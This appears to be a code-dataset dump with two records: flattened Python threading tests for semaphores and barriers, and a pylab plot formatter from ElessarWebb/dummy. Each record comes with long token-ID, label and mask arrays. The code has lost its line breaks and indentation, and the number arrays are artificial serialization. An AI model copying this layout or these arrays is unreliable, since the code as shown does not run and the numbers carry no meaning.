self.assertTrue(sem.acquire(False)) def test_try_acquire_contended(self): sem = self.semtype(4) sem.acquire() results = [] def f(): results.append(sem.acquire(False)) results.append(sem.acquire(False)) Bunch(f, 5).wait_for_finished() # There can be a thread switch between acquiring the semaphore and # appending the result, therefore results will not necessarily be # ordered. self.assertEqual(sorted(results), [False] * 7 + [True] * 3 ) def test_acquire_timeout(self): sem = self.semtype(2) self.assertRaises(ValueError, sem.acquire, False, timeout=1.0) self.assertTrue(sem.acquire(timeout=0.005)) self.assertTrue(sem.acquire(timeout=0.005)) self.assertFalse(sem.acquire(timeout=0.005)) sem.release() self.assertTrue(sem.acquire(timeout=0.005)) t = time.time() self.assertFalse(sem.acquire(timeout=0.5)) dt = time.time() - t self.assertTimeout(dt, 0.5) def test_default_value(self): # The default initial value is 1. sem = self.semtype() sem.acquire() def f(): sem.acquire() sem.release() b = Bunch(f, 1) b.wait_for_started() _wait() self.assertFalse(b.finished) sem.release() b.wait_for_finished() def test_with(self): sem = self.semtype(2) def _with(err=None): with sem: self.assertTrue(sem.acquire(False)) sem.release() with sem: self.assertFalse(sem.acquire(False)) if err: raise err _with() self.assertTrue(sem.acquire(False)) sem.release() self.assertRaises(TypeError, _with, TypeError) self.assertTrue(sem.acquire(False)) sem.release() class SemaphoreTests(BaseSemaphoreTests): """ Tests for unbounded semaphores. """ def test_release_unacquired(self): # Unbounded releases are allowed and increment the semaphore's value sem = self.semtype(1) sem.release() sem.acquire() sem.acquire() sem.release() class BoundedSemaphoreTests(BaseSemaphoreTests): """ Tests for bounded semaphores. """ def test_release_unacquired(self): # Cannot go past the initial value sem = self.semtype() self.assertRaises(ValueError, sem.release) sem.acquire() sem.release() self.assertRaises(ValueError, sem.release) class BarrierTests(BaseTestCase): """ Tests for Barrier objects. """ N = 5 defaultTimeout = 2.0 def setUp(self): self.barrier = self.barriertype(self.N, timeout=self.defaultTimeout) def tearDown(self): self.barrier.abort() def run_threads(self, f): b = Bunch(f, self.N-1) f() b.wait_for_finished() def multipass(self, results, n): m = self.barrier.parties self.assertEqual(m, self.N) for i in range(n): results[0].append(True) self.assertEqual(len(results[1]), i * m) self.barrier.wait() results[1].append(True) self.assertEqual(len(results[0]), (i + 1) * m) self.barrier.wait() self.assertEqual(self.barrier.n_waiting, 0) self.assertFalse(self.barrier.broken) def test_barrier(self, passes=1): """ Test that a barrier is passed in lockstep """ results = [[],[]] def f(): self.multipass(results, passes) self.run_threads(f) def test_barrier_10(self): """ Test that a barrier works for 10 consecutive runs """ return self.test_barrier(10) def test_wait_return(self): """ test the return value from barrier.wait """ results = [] def f(): r = self.barrier.wait() results.append(r) self.run_threads(f) self.assertEqual(sum(results), sum(range(self.N))) def test_action(self): """ Test the 'action' callback """ results = [] def action(): results.append(True) barrier = self.barriertype(self.N, action) def f(): barrier.wait() self.assertEqual(len(results), 1) self.run_threads(f) def test_abort(self): """ Test that an abort will put the barrier in a broken state """ results1 = [] results2 = [] def f(): try: i = self.barrier.wait() if i == self.N//2: raise RuntimeError self.barrier.wait() results1.append(True) except threading.BrokenBarrierError: results2.append(True) except RuntimeError: self.barrier.abort() pass self.run_threads(f) self.assertEqual(len(results1), 0) self.assertEqual(len(results2), self.N-1) self.assertTrue(self.barrier.broken) def test_reset(self): """ Test that a 'reset' on a barrier frees the waiting threads """ results1 = [] results2 = [] results3 = [] def f(): i = self.barrier.wait() if i == self.N//2: # Wait until the other threads are all in the barrier. while self.barrier.n_waiting < self.N-1: time.sleep(0.001) self.barrier.reset() else: try: self.barrier.wait() results1.append(True) except threading.BrokenBarrierError: results2.append(True) # Now, pass the barrier again self.barrier.wait() results3.append(True) self.run_threads(f) self.assertEqual(len(results1), 0) self.assertEqual(len(results2), self.N-1) self.assertEqual(len(results3), self.N) def test_abort_and_reset(self): """ Test that a barrier can be reset after being broken. """ results1 = [] results2 = [] results3 = [] barrier2 = self.barriertype(self.N) def f(): try: i = self.barrier.wait() if i == self.N//2: raise RuntimeError self.barrier.wait() results1.append(True) except threading.BrokenBarrierError: results2.append(True) except RuntimeError: self.barrier.abort() pass # Synchronize and reset the barrier. Must synchronize first so # that everyone has left it when we reset, and after so that no # one enters it before the reset. if barrier2.wait() == self.N//2: self.barrier.reset() barrier2.wait() self.barrier.wait() results3.append(True) self.run_threads(f) self.assertEqual(len(results1), 0) self.assertEqual(len(results2), self.N-1) self.assertEqual(len(results3), self.N) def test_timeout(self): """ Test wait(timeout) """ def f(): i = self.barrier.wait() if i == self.N // 2: # One thread is late! time.sleep(1.0) # Default timeout is 2.0, so this is shorter. self.assertRaises(threading.BrokenBarrierError, self.barrier.wait, 0.5) self.run_threads(f) def test_default_timeout(self): """ Test the barrier's default timeout """ # create a barrier with a low default timeout barrier = self.barriertype(self.N, timeout=0.3) def f(): i = barrier.wait() if i == self.N // 2: # One thread is later than the default timeout of 0.3s. time.sleep(1.0) self.assertRaises(threading.BrokenBarrierError, barrier.wait) self.run_threads(f) def test_single_thread(self): b = self.barriertype(1) b.wait() b.wait()
mit
[ 624, 199, 9958, 1785, 2295, 367, 29509, 1979, 22337, 14, 199, 624, 199, 199, 646, 984, 199, 646, 900, 199, 504, 485, 2671, 492, 1343, 63, 1222, 63, 2671, 12, 29998, 63, 4283, 199, 646, 5796, 199, 646, 2882, 199, 199, 504, 511, 492, 2291, 421, 199, 318, 485, 2573, 837, 272, 327, 437, 2467, 3786, 3618, 15, 11481, 805, 440, 295, 6670, 641, 29509, 1979, 22337, 14, 272, 900, 14, 4532, 8, 16, 14, 614, 9, 199, 199, 533, 699, 4689, 8, 785, 304, 272, 408, 272, 437, 22219, 402, 7183, 14, 272, 408, 272, 347, 636, 826, 721, 277, 12, 289, 12, 302, 12, 3618, 63, 5182, 63, 2224, 29, 797, 304, 267, 408, 267, 9215, 282, 22219, 402, 658, 78, 64, 7183, 3879, 314, 2011, 805, 658, 70, 2313, 267, 982, 658, 2573, 63, 5182, 63, 2224, 64, 365, 715, 12, 314, 7183, 7859, 1133, 15095, 5133, 267, 886, 63, 8192, 342, 365, 2797, 14, 267, 408, 267, 291, 14, 70, 275, 289, 267, 291, 14, 78, 275, 302, 267, 291, 14, 8924, 275, 942, 267, 291, 14, 8669, 275, 942, 267, 291, 423, 2425, 63, 2224, 275, 440, 3618, 63, 5182, 63, 2224, 267, 347, 2120, 837, 288, 11559, 275, 5796, 14, 362, 63, 5425, 342, 288, 291, 14, 8924, 14, 740, 8, 5700, 9, 288, 862, 26, 355, 289, 342, 288, 3753, 26, 355, 291, 14, 8669, 14, 740, 8, 5700, 9, 355, 1830, 440, 291, 423, 2425, 63, 2224, 26, 490, 485, 2573, 342, 267, 367, 284, 315, 1425, 8, 78, 304, 288, 1343, 63, 1222, 63, 2671, 8, 1765, 12, 14515, 339, 347, 3618, 63, 509, 63, 8924, 8, 277, 304, 267, 1830, 822, 8, 277, 14, 8924, 9, 665, 291, 14, 78, 26, 288, 485, 2573, 342, 339, 347, 3618, 63, 509, 63, 8669, 8, 277, 304, 267, 1830, 822, 8, 277, 14, 8669, 9, 665, 291, 14, 78, 26, 288, 485, 2573, 342, 339, 347, 886, 63, 8192, 8, 277, 304, 267, 291, 423, 2425, 63, 2224, 275, 715, 421, 199, 533, 3523, 1746, 8, 2796, 14, 1746, 304, 272, 347, 3613, 8, 277, 304, 267, 291, 423, 6962, 275, 2291, 14, 12562, 63, 2758, 342, 339, 347, 6766, 8, 277, 304, 267, 2291, 14, 12562, 63, 7661, 2031, 277, 423, 6962, 9, 267, 2291, 14, 264, 439, 63, 3223, 342, 339, 347, 702, 6372, 8, 277, 12, 3503, 12, 1420, 304, 267, 327, 710, 10923, 436, 15, 269, 900, 14, 521, 342, 883, 506, 1742, 264, 11900, 12, 1314, 267, 327, 365, 10842, 20234, 370, 314, 1420, 574, 3955, 15026, 2449, 267, 327, 334, 397, 910, 1183, 1334, 5417, 680, 267, 291, 14, 26875, 8, 6514, 12, 1420, 627, 378, 14, 22, 9, 267, 327, 1379, 6548, 5261, 5865, 21056, 267, 291, 14, 15625, 8, 6514, 12, 1420, 627, 1616, 14, 16, 9, 421, 199, 533, 3523, 6432, 2925, 8, 20760, 304, 272, 408, 272, 6496, 367, 3865, 9133, 436, 2222, 13, 9931, 23340, 14, 272, 408, 339, 347, 511, 63, 1880, 8, 277, 304, 267, 4650, 275, 291, 14, 831, 466, 342, 267, 2150, 4650, 339, 347, 511, 63, 2722, 8, 277, 304, 267, 4650, 275, 291, 14, 831, 466, 342, 267, 4700, 8, 831, 9, 267, 2150, 4650, 339, 347, 511, 63, 8174, 63, 7237, 8, 277, 304, 267, 4650, 275, 291, 14, 831, 466, 342, 267, 4650, 14, 8174, 342, 267, 2150, 4650, 339, 347, 511, 63, 8174, 63, 3221, 8, 277, 304, 267, 4650, 275, 291, 14, 831, 466, 342, 267, 4650, 14, 8174, 342, 267, 4650, 14, 3221, 342, 267, 2150, 4650, 339, 347, 511, 63, 893, 63, 8174, 8, 277, 304, 267, 4650, 275, 291, 14, 831, 466, 342, 267, 291, 14, 1815, 8, 831, 14, 8174, 8, 797, 430, 267, 4650, 14, 3221, 342, 339, 347, 511, 63, 893, 63, 8174, 63, 388, 6943, 8, 277, 304, 267, 4650, 275, 291, 14, 831, 466, 342, 267, 4650, 14, 8174, 342, 267, 754, 275, 942, 267, 347, 289, 837, 288, 754, 14, 740, 8, 831, 14, 8174, 8, 797, 430, 267, 699, 4689, 8, 70, 12, 413, 680, 2573, 63, 509, 63, 8669, 342, 267, 291, 14, 3334, 8, 1099, 59, 16, 566, 267, 4650, 14, 3221, 342, 339, 347, 511, 63, 8174, 63, 388, 6943, 8, 277, 304, 267, 4650, 275, 291, 14, 831, 466, 342, 267, 4650, 14, 8174, 342, 267, 653, 275, 959, 267, 347, 289, 837, 288, 4650, 14, 8174, 342, 288, 4650, 14, 3221, 342, 398, 330, 275, 699, 4689, 8, 70, 12, 653, 9, 267, 330, 14, 2573, 63, 509, 63, 8924, 342, 267, 485, 2573, 342, 267, 291, 14, 629, 8, 552, 8, 66, 14, 8669, 395, 378, 9, 267, 4650, 14, 3221, 342, 267, 330, 14, 2573, 63, 509, 63, 8669, 342, 267, 291, 14, 629, 8, 552, 8, 66, 14, 8669, 395, 653, 9, 339, 347, 511, 63, 1045, 8, 277, 304, 267, 4650, 275, 291, 14, 831, 466, 342, 267, 347, 289, 837, 288, 4650, 14, 8174, 342, 288, 4650, 14, 3221, 342, 267, 347, 485, 1045, 8, 1508, 29, 403, 304, 288, 543, 4650, 26, 355, 340, 2329, 365, 440, 488, 26, 490, 746, 2329, 267, 485, 1045, 342, 267, 327, 2670, 314, 4650, 365, 625, 645, 1087, 267, 699, 4689, 8, 70, 12, 413, 680, 2573, 63, 509, 63, 8669, 342, 267, 291, 14, 1855, 8, 4333, 12, 485, 1045, 12, 3146, 9, 267, 327, 2670, 314, 4650, 365, 625, 645, 1087, 267, 699, 4689, 8, 70, 12, 413, 680, 2573, 63, 509, 63, 8669, 342, 339, 347, 511, 63, 2671, 63, 28212, 8, 277, 304, 267, 327, 710, 4650, 9296, 1133, 25831, 282, 11086, 1256, 1380, 1202, 687, 282, 11608, 267, 327, 334, 2865, 13, 12562, 9, 2462, 14, 267, 4650, 275, 291, 14, 831, 466, 342, 267, 347, 289, 837, 288, 4650, 14, 8174, 342, 288, 4650, 14, 3221, 342, 267, 302, 275, 822, 8, 12562, 14, 26318, 1012, 267, 327, 2136, 1255, 5002, 7183, 315, 314, 3661, 626, 3411, 7183, 2762, 7859, 1133, 267, 327, 506, 295, 1480, 67, 1146, 14, 267, 699, 4689, 8, 70, 12, 4114, 680, 2573, 63, 509, 63 ]
[ 199, 9958, 1785, 2295, 367, 29509, 1979, 22337, 14, 199, 624, 199, 199, 646, 984, 199, 646, 900, 199, 504, 485, 2671, 492, 1343, 63, 1222, 63, 2671, 12, 29998, 63, 4283, 199, 646, 5796, 199, 646, 2882, 199, 199, 504, 511, 492, 2291, 421, 199, 318, 485, 2573, 837, 272, 327, 437, 2467, 3786, 3618, 15, 11481, 805, 440, 295, 6670, 641, 29509, 1979, 22337, 14, 272, 900, 14, 4532, 8, 16, 14, 614, 9, 199, 199, 533, 699, 4689, 8, 785, 304, 272, 408, 272, 437, 22219, 402, 7183, 14, 272, 408, 272, 347, 636, 826, 721, 277, 12, 289, 12, 302, 12, 3618, 63, 5182, 63, 2224, 29, 797, 304, 267, 408, 267, 9215, 282, 22219, 402, 658, 78, 64, 7183, 3879, 314, 2011, 805, 658, 70, 2313, 267, 982, 658, 2573, 63, 5182, 63, 2224, 64, 365, 715, 12, 314, 7183, 7859, 1133, 15095, 5133, 267, 886, 63, 8192, 342, 365, 2797, 14, 267, 408, 267, 291, 14, 70, 275, 289, 267, 291, 14, 78, 275, 302, 267, 291, 14, 8924, 275, 942, 267, 291, 14, 8669, 275, 942, 267, 291, 423, 2425, 63, 2224, 275, 440, 3618, 63, 5182, 63, 2224, 267, 347, 2120, 837, 288, 11559, 275, 5796, 14, 362, 63, 5425, 342, 288, 291, 14, 8924, 14, 740, 8, 5700, 9, 288, 862, 26, 355, 289, 342, 288, 3753, 26, 355, 291, 14, 8669, 14, 740, 8, 5700, 9, 355, 1830, 440, 291, 423, 2425, 63, 2224, 26, 490, 485, 2573, 342, 267, 367, 284, 315, 1425, 8, 78, 304, 288, 1343, 63, 1222, 63, 2671, 8, 1765, 12, 14515, 339, 347, 3618, 63, 509, 63, 8924, 8, 277, 304, 267, 1830, 822, 8, 277, 14, 8924, 9, 665, 291, 14, 78, 26, 288, 485, 2573, 342, 339, 347, 3618, 63, 509, 63, 8669, 8, 277, 304, 267, 1830, 822, 8, 277, 14, 8669, 9, 665, 291, 14, 78, 26, 288, 485, 2573, 342, 339, 347, 886, 63, 8192, 8, 277, 304, 267, 291, 423, 2425, 63, 2224, 275, 715, 421, 199, 533, 3523, 1746, 8, 2796, 14, 1746, 304, 272, 347, 3613, 8, 277, 304, 267, 291, 423, 6962, 275, 2291, 14, 12562, 63, 2758, 342, 339, 347, 6766, 8, 277, 304, 267, 2291, 14, 12562, 63, 7661, 2031, 277, 423, 6962, 9, 267, 2291, 14, 264, 439, 63, 3223, 342, 339, 347, 702, 6372, 8, 277, 12, 3503, 12, 1420, 304, 267, 327, 710, 10923, 436, 15, 269, 900, 14, 521, 342, 883, 506, 1742, 264, 11900, 12, 1314, 267, 327, 365, 10842, 20234, 370, 314, 1420, 574, 3955, 15026, 2449, 267, 327, 334, 397, 910, 1183, 1334, 5417, 680, 267, 291, 14, 26875, 8, 6514, 12, 1420, 627, 378, 14, 22, 9, 267, 327, 1379, 6548, 5261, 5865, 21056, 267, 291, 14, 15625, 8, 6514, 12, 1420, 627, 1616, 14, 16, 9, 421, 199, 533, 3523, 6432, 2925, 8, 20760, 304, 272, 408, 272, 6496, 367, 3865, 9133, 436, 2222, 13, 9931, 23340, 14, 272, 408, 339, 347, 511, 63, 1880, 8, 277, 304, 267, 4650, 275, 291, 14, 831, 466, 342, 267, 2150, 4650, 339, 347, 511, 63, 2722, 8, 277, 304, 267, 4650, 275, 291, 14, 831, 466, 342, 267, 4700, 8, 831, 9, 267, 2150, 4650, 339, 347, 511, 63, 8174, 63, 7237, 8, 277, 304, 267, 4650, 275, 291, 14, 831, 466, 342, 267, 4650, 14, 8174, 342, 267, 2150, 4650, 339, 347, 511, 63, 8174, 63, 3221, 8, 277, 304, 267, 4650, 275, 291, 14, 831, 466, 342, 267, 4650, 14, 8174, 342, 267, 4650, 14, 3221, 342, 267, 2150, 4650, 339, 347, 511, 63, 893, 63, 8174, 8, 277, 304, 267, 4650, 275, 291, 14, 831, 466, 342, 267, 291, 14, 1815, 8, 831, 14, 8174, 8, 797, 430, 267, 4650, 14, 3221, 342, 339, 347, 511, 63, 893, 63, 8174, 63, 388, 6943, 8, 277, 304, 267, 4650, 275, 291, 14, 831, 466, 342, 267, 4650, 14, 8174, 342, 267, 754, 275, 942, 267, 347, 289, 837, 288, 754, 14, 740, 8, 831, 14, 8174, 8, 797, 430, 267, 699, 4689, 8, 70, 12, 413, 680, 2573, 63, 509, 63, 8669, 342, 267, 291, 14, 3334, 8, 1099, 59, 16, 566, 267, 4650, 14, 3221, 342, 339, 347, 511, 63, 8174, 63, 388, 6943, 8, 277, 304, 267, 4650, 275, 291, 14, 831, 466, 342, 267, 4650, 14, 8174, 342, 267, 653, 275, 959, 267, 347, 289, 837, 288, 4650, 14, 8174, 342, 288, 4650, 14, 3221, 342, 398, 330, 275, 699, 4689, 8, 70, 12, 653, 9, 267, 330, 14, 2573, 63, 509, 63, 8924, 342, 267, 485, 2573, 342, 267, 291, 14, 629, 8, 552, 8, 66, 14, 8669, 395, 378, 9, 267, 4650, 14, 3221, 342, 267, 330, 14, 2573, 63, 509, 63, 8669, 342, 267, 291, 14, 629, 8, 552, 8, 66, 14, 8669, 395, 653, 9, 339, 347, 511, 63, 1045, 8, 277, 304, 267, 4650, 275, 291, 14, 831, 466, 342, 267, 347, 289, 837, 288, 4650, 14, 8174, 342, 288, 4650, 14, 3221, 342, 267, 347, 485, 1045, 8, 1508, 29, 403, 304, 288, 543, 4650, 26, 355, 340, 2329, 365, 440, 488, 26, 490, 746, 2329, 267, 485, 1045, 342, 267, 327, 2670, 314, 4650, 365, 625, 645, 1087, 267, 699, 4689, 8, 70, 12, 413, 680, 2573, 63, 509, 63, 8669, 342, 267, 291, 14, 1855, 8, 4333, 12, 485, 1045, 12, 3146, 9, 267, 327, 2670, 314, 4650, 365, 625, 645, 1087, 267, 699, 4689, 8, 70, 12, 413, 680, 2573, 63, 509, 63, 8669, 342, 339, 347, 511, 63, 2671, 63, 28212, 8, 277, 304, 267, 327, 710, 4650, 9296, 1133, 25831, 282, 11086, 1256, 1380, 1202, 687, 282, 11608, 267, 327, 334, 2865, 13, 12562, 9, 2462, 14, 267, 4650, 275, 291, 14, 831, 466, 342, 267, 347, 289, 837, 288, 4650, 14, 8174, 342, 288, 4650, 14, 3221, 342, 267, 302, 275, 822, 8, 12562, 14, 26318, 1012, 267, 327, 2136, 1255, 5002, 7183, 315, 314, 3661, 626, 3411, 7183, 2762, 7859, 1133, 267, 327, 506, 295, 1480, 67, 1146, 14, 267, 699, 4689, 8, 70, 12, 4114, 680, 2573, 63, 509, 63, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
ElessarWebb/dummy
src/dummy/viewer/formatting/plotformatters.py
1
2788
from dummy.viewer.formatting import ResultFormatter, Formatter import logging logger = logging.getLogger( __name__ ) try: import pylab import numpy @Formatter.register( 'plot' ) class PlotFormatter( ResultFormatter ): def __init__( self, *args, **kwargs ): super( PlotFormatter, self ).__init__( self, *args, **kwargs ) # create the figure self.figure = pylab.figure( facecolor='white' ) def format_results( self, results, *metrics ): self.setup( results ) try: self.plot( results, metrics ) except ( ValueError, TypeError ) as e: raise Exception( "Non numeric metrics cannot be plotted" ) def setup( self, results ): # get the xlabels x = range( 1, len( results ) + 1 ) xlabels = [ r.test.name for r in results ] pylab.title( 'Metric values per test (commit: %s)' % results[0].commit, fontsize=22 ) pylab.xticks( rotation=90 ) pylab.grid( True, markevery='integer' ) pylab.xlabel( 'tests', fontsize=16 ) pylab.margins( 0.05 ) pylab.xticks( x, xlabels ) def plot( self, results, metrics, **opts ): # create the plots plots = [] for metric in metrics: plots.append( self.plot_metric( results, metric , **opts )) # legendary pylab.legend([ p[0] for p in plots], metrics ) # and show it pylab.show() def plot_metric( self, results, metric, **opts ): x = range( 1, len( results ) + 1 ) y = [ t.get_metric( metric ) for t in results ] try: plot = pylab.plot( x, y, **opts ) pylab.setp( plot, label=metric, linestyle='dashed', linewidth=1.0, marker=".", markersize=12.0, aa=True ) return plot except ( ValueError, TypeError ) as e: raise Exception( "The metric `%s` is not numeric and can thus not be plotted." % metric ) @Formatter.register( 'plot.bar' ) class BarPlotFormatter( PlotFormatter ): def plot( self, results, metrics, **opts ): # create the plots plots = [] x = numpy.arange( len( results )) margin = 0.2 / len( metrics ) width = 0.8 / len( metrics ) colors = [ ( i/( 2 * len( metrics )), i/len(metrics), 0.8 ) for i in range( 1, len( metrics ) + 1) ] for i, metric in enumerate( metrics ): # compute the bar heights y = [ t.get_metric( metric ) or 0 for t in results ] plot = self.bar( x + 0.5 + i*width + ( i ) * margin, y, width=width, color=colors[i], ) plots.append( plot ) pylab.setp( plot, label=metric, aa=True ) # legendary pylab.legend([ p[0] for p in plots], metrics ) # and show it pylab.show() def bar( self, *args, **kwargs ): return pylab.bar( *args, **kwargs ) except ImportError: logger.debug( "matplotlib is not installed, PlotFormatter not available." )
mit
[ 504, 7283, 14, 16645, 14, 20034, 492, 10695, 7772, 12, 31084, 199, 646, 2050, 199, 199, 2921, 275, 2050, 14, 5572, 8, 636, 354, 363, 776, 199, 199, 893, 26, 199, 198, 646, 19199, 199, 198, 646, 2680, 421, 198, 32, 7772, 14, 2683, 8, 283, 2798, 7, 776, 199, 198, 533, 14794, 7772, 8, 10695, 7772, 3461, 2742, 198, 318, 636, 826, 721, 291, 12, 627, 589, 12, 1011, 958, 3461, 686, 198, 4792, 8, 14794, 7772, 12, 291, 221, 2843, 826, 721, 291, 12, 627, 589, 12, 1011, 958, 776, 6319, 198, 3, 1218, 314, 9658, 686, 198, 277, 14, 8941, 275, 19199, 14, 8941, 8, 8870, 2326, 534, 7510, 7, 776, 2742, 198, 318, 1475, 63, 2604, 8, 291, 12, 2058, 12, 627, 6759, 3461, 686, 198, 277, 14, 2758, 8, 2058, 776, 6319, 198, 893, 26, 1585, 198, 277, 14, 2798, 8, 2058, 12, 7186, 776, 686, 198, 2590, 334, 1722, 12, 3146, 776, 465, 325, 26, 1585, 198, 3730, 2186, 8, 1871, 198, 2, 6932, 8950, 7186, 3913, 506, 5137, 471, 2, 1585, 198, 9, 2742, 198, 318, 3272, 8, 291, 12, 2058, 3461, 686, 198, 3, 664, 314, 671, 3512, 686, 198, 88, 275, 1425, 8, 413, 12, 822, 8, 2058, 776, 435, 413, 776, 686, 198, 88, 3512, 275, 359, 519, 14, 396, 14, 354, 367, 519, 315, 2058, 1622, 6319, 198, 32538, 14, 1213, 8, 283, 11119, 1338, 1126, 511, 334, 3543, 26, 450, 83, 3171, 450, 2058, 59, 16, 1055, 3543, 12, 19740, 29, 1081, 776, 686, 198, 32538, 14, 26217, 8, 13038, 29, 2710, 776, 686, 198, 32538, 14, 3825, 8, 715, 12, 7557, 415, 2588, 534, 4115, 7, 776, 686, 198, 32538, 14, 14168, 8, 283, 2219, 297, 19740, 29, 975, 776, 686, 198, 32538, 14, 9650, 83, 8, 378, 14, 1717, 776, 686, 198, 32538, 14, 26217, 8, 671, 12, 671, 3512, 776, 2742, 198, 318, 5137, 8, 291, 12, 2058, 12, 7186, 12, 1011, 3291, 3461, 686, 198, 3, 1218, 314, 19695, 686, 198, 13701, 275, 942, 686, 198, 509, 6370, 315, 7186, 26, 1585, 198, 13701, 14, 740, 8, 291, 14, 2798, 63, 5165, 8, 2058, 12, 6370, 2360, 1011, 3291, 5082, 6319, 198, 3, 15906, 695, 686, 198, 32538, 14, 10231, 779, 299, 59, 16, 61, 367, 299, 315, 19695, 467, 7186, 776, 6319, 198, 3, 436, 2498, 652, 686, 198, 32538, 14, 2384, 342, 2742, 198, 318, 5137, 63, 5165, 8, 291, 12, 2058, 12, 6370, 12, 1011, 3291, 3461, 686, 198, 88, 275, 1425, 8, 413, 12, 822, 8, 2058, 776, 435, 413, 776, 686, 198, 89, 275, 359, 307, 14, 362, 63, 5165, 8, 6370, 776, 367, 307, 315, 2058, 1622, 6319, 198, 893, 26, 1585, 198, 2798, 275, 19199, 14, 2798, 8, 671, 12, 612, 12, 1011, 3291, 776, 1585, 198, 32538, 14, 409, 80, 8, 5137, 12, 1871, 198, 1302, 29, 5165, 12, 1871, 198, 472, 20953, 534, 6760, 379, 297, 1871, 198, 24643, 29, 17, 14, 16, 12, 1871, 198, 4211, 628, 4765, 1871, 198, 4211, 890, 29, 713, 14, 16, 12, 1871, 198, 2158, 29, 549, 1585, 198, 9, 16737, 198, 1107, 5137, 686, 198, 2590, 334, 1722, 12, 3146, 776, 465, 325, 26, 1585, 198, 3730, 2186, 8, 1871, 198, 2, 1918, 6370, 18633, 83, 64, 365, 440, 8950, 436, 883, 12850, 440, 506, 5137, 471, 2122, 450, 6370, 1585, 198, 9, 421, 198, 32, 7772, 14, 2683, 8, 283, 2798, 14, 1700, 7, 776, 199, 198, 533, 12377, 10711, 7772, 8, 14794, 7772, 3461, 2742, 198, 318, 5137, 8, 291, 12, 2058, 12, 7186, 12, 1011, 3291, 3461, 686, 198, 3, 1218, 314, 19695, 686, 198, 13701, 275, 942, 686, 198, 88, 275, 2680, 14, 5605, 8, 822, 8, 2058, 5082, 686, 198, 9650, 275, 378, 14, 18, 1182, 822, 8, 7186, 776, 686, 198, 2063, 275, 378, 14, 24, 1182, 822, 8, 7186, 776, 686, 198, 7120, 275, 359, 1585, 198, 8, 284, 7985, 499, 627, 822, 8, 7186, 22583, 284, 15, 552, 8, 6759, 395, 378, 14, 24, 776, 1585, 198, 509, 284, 315, 1425, 8, 413, 12, 822, 8, 7186, 776, 435, 413, 9, 686, 198, 61, 6319, 198, 509, 284, 12, 6370, 315, 3874, 8, 7186, 3461, 1585, 198, 3, 4526, 314, 4681, 946, 2492, 1585, 198, 89, 275, 359, 307, 14, 362, 63, 5165, 8, 6370, 776, 503, 378, 367, 307, 315, 2058, 1622, 16737, 198, 2798, 275, 291, 14, 1700, 8, 1871, 198, 88, 435, 378, 14, 21, 435, 284, 10, 2063, 435, 334, 284, 776, 627, 11042, 12, 1871, 198, 89, 12, 1871, 198, 2063, 29, 2063, 12, 1871, 198, 2326, 29, 7120, 59, 73, 467, 1585, 198, 9, 1585, 198, 13701, 14, 740, 8, 5137, 776, 16737, 198, 32538, 14, 409, 80, 8, 5137, 12, 1871, 198, 1302, 29, 5165, 12, 1871, 198, 2158, 29, 549, 1585, 198, 9, 6319, 198, 3, 15906, 695, 686, 198, 32538, 14, 10231, 779, 299, 59, 16, 61, 367, 299, 315, 19695, 467, 7186, 776, 6319, 198, 3, 436, 2498, 652, 686, 198, 32538, 14, 2384, 342, 2742, 198, 318, 4681, 8, 291, 12, 627, 589, 12, 1011, 958, 3461, 686, 198, 1107, 19199, 14, 1700, 8, 627, 589, 12, 1011, 958, 776, 199, 199, 2590, 3545, 26, 199, 198, 2921, 14, 1757, 8, 298, 16440, 365, 440, 4903, 12, 14794, 7772, 440, 2808, 2122, 776, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
